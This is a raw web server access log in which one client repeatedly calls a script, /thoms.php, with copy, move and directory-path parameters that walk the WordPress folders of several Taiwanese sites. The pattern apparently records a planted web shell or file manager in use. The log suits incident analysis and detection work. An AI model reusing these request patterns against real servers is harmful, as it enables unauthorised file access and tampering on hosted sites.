45.135.193.11 - - [11/Sep/2026:23:34:04 -0400] "GET /thoms.php?p=bfl.com.tw HTTP/1.1" 200 17478 "https://163.245.207.76:443/thoms.php?copy=error_log&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:04 -0400] "GET /thoms.php?p=bfl.com.tw%2Fupgrade HTTP/1.1" 200 14139 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:04 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin HTTP/1.1" 200 28927 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:04 -0400] "GET /thoms.php?copy=error_log&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:04 -0400] "GET /thoms.php?copy=error_log&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:04 -0400] "GET /thoms.php?copy=error_log&finish=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:04 -0400] "GET /thoms.php?p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 13423 "https://163.245.207.76:443/thoms.php?copy=error_log&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:04 -0400] "GET /thoms.php?copy=error_log&finish=1&move=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:05 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 20742 "https://163.245.207.76:443/thoms.php?copy=error_log&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:05 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 20745 "https://163.245.207.76:443/thoms.php?copy=error_log&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:04 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes HTTP/1.1" 200 59033 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:05 -0400] "GET /thoms.php?copy=error_log&p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:05 -0400] "GET /thoms.php?copy=error_log&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:05 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 200 12041 "https://163.245.207.76:443/thoms.php?copy=error_log&p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:05 -0400] "GET /thoms.php?copy=error_log&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:05 -0400] "GET /thoms.php?p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 13418 "https://163.245.207.76:443/thoms.php?copy=error_log&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:05 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 13786 "https://163.245.207.76:443/thoms.php?copy=error_log&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:05 -0400] "GET /thoms.php?copy=error_log&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:05 -0400] "GET /thoms.php?copy=error_log&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:05 -0400] "GET /thoms.php?copy=error_log&p=big-wife.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:05 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 13615 "https://163.245.207.76:443/thoms.php?copy=error_log&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:05 -0400] "GET /thoms.php?copy=error_log&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:05 -0400] "GET /thoms.php?p=big-wife.com.tw%2F.well-known HTTP/1.1" 200 12596 "https://163.245.207.76:443/thoms.php?copy=error_log&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:05 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 29071 "https://163.245.207.76:443/thoms.php?copy=error_log&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:06 -0400] "GET /thoms.php?copy=error_log&finish=1&p=biotaiwan.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:06 -0400] "GET /thoms.php?copy=error_log&p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:06 -0400] "GET /thoms.php?copy=error_log&finish=1&move=1&p=biotaiwan.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:06 -0400] "GET /thoms.php?p=biotaiwan.com.tw HTTP/1.1" 200 17497 "https://163.245.207.76:443/thoms.php?copy=error_log&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:06 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 200 12041 "https://163.245.207.76:443/thoms.php?copy=error_log&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:05 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "https://163.245.207.76:443/thoms.php?copy=error_log&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:06 -0400] "GET /thoms.php?p=biotaiwan.com.tw HTTP/1.1" 200 17506 "https://163.245.207.76:443/thoms.php?copy=error_log&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:06 -0400] "GET /thoms.php?copy=error_log&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:06 -0400] "GET /thoms.php?copy=error_log&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:06 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 200 13279 "https://163.245.207.76:443/thoms.php?copy=error_log&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:06 -0400] "GET /thoms.php?copy=error_log&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:06 -0400] "GET /thoms.php?copy=error_log&p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:06 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 200 28783 "https://163.245.207.76:443/thoms.php?copy=error_log&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:06 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 200 12595 "https://163.245.207.76:443/thoms.php?copy=error_log&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:06 -0400] "GET /thoms.php?copy=error_log&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:06 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 200 14351 "https://163.245.207.76:443/thoms.php?copy=error_log&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:06 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 200 59207 "https://163.245.207.76:443/thoms.php?copy=error_log&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:06 -0400] "GET /thoms.php?copy=error_log&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:06 -0400] "GET /thoms.php?copy=error_log&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:07 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 200 13624 "https://163.245.207.76:443/thoms.php?copy=error_log&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:07 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 200 13414 "https://163.245.207.76:443/thoms.php?copy=error_log&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:07 -0400] "GET /thoms.php?copy=error_log&p=bossini.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:07 -0400] "GET /thoms.php?copy=error_log&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:07 -0400] "GET /thoms.php?copy=error_log&finish=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:07 -0400] "GET /thoms.php?copy=error_log&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:07 -0400] "GET /thoms.php?p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 13762 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:07 -0400] "GET /thoms.php?p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 13409 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:07 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 20973 "https://163.245.207.76:443/thoms.php?copy=error_log&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:07 -0400] "GET /thoms.php?copy=error_log&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:07 -0400] "GET /thoms.php?copy=error_log&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:07 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:07 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22051 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:07 -0400] "GET /thoms.php?copy=error_log&p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:07 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29017 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:07 -0400] "GET /thoms.php?p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 200 12040 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:08 -0400] "GET /thoms.php?copy=error_log&p=bossini.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:08 -0400] "GET /thoms.php?copy=error_log&p=bossini.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:08 -0400] "GET /thoms.php?p=bossini.com.tw%2F.well-known HTTP/1.1" 200 12596 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:08 -0400] "GET /thoms.php?copy=error_log&finish=1&move=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:08 -0400] "GET /thoms.php?copy=error_log&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:08 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 13734 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:08 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 20816 "https://163.245.207.76:443/thoms.php?copy=error_log&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:08 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28740 "https://163.245.207.76:443/thoms.php?copy=error_log&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:08 -0400] "GET /thoms.php?copy=error_log&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:08 -0400] "GET /thoms.php?copy=error_log&finish=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:08 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 17368 "https://163.245.207.76:443/thoms.php?copy=error_log&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:08 -0400] "GET /thoms.php?copy=error_log&p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:08 -0400] "GET /thoms.php?copy=error_log&p=betcity.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:08 -0400] "GET /thoms.php?p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 200 12038 "https://163.245.207.76:443/thoms.php?copy=error_log&p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:08 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "https://163.245.207.76:443/thoms.php?copy=error_log&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:08 -0400] "GET /thoms.php?p=betcity.com.tw%2F.well-known HTTP/1.1" 200 12581 "https://163.245.207.76:443/thoms.php?copy=error_log&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
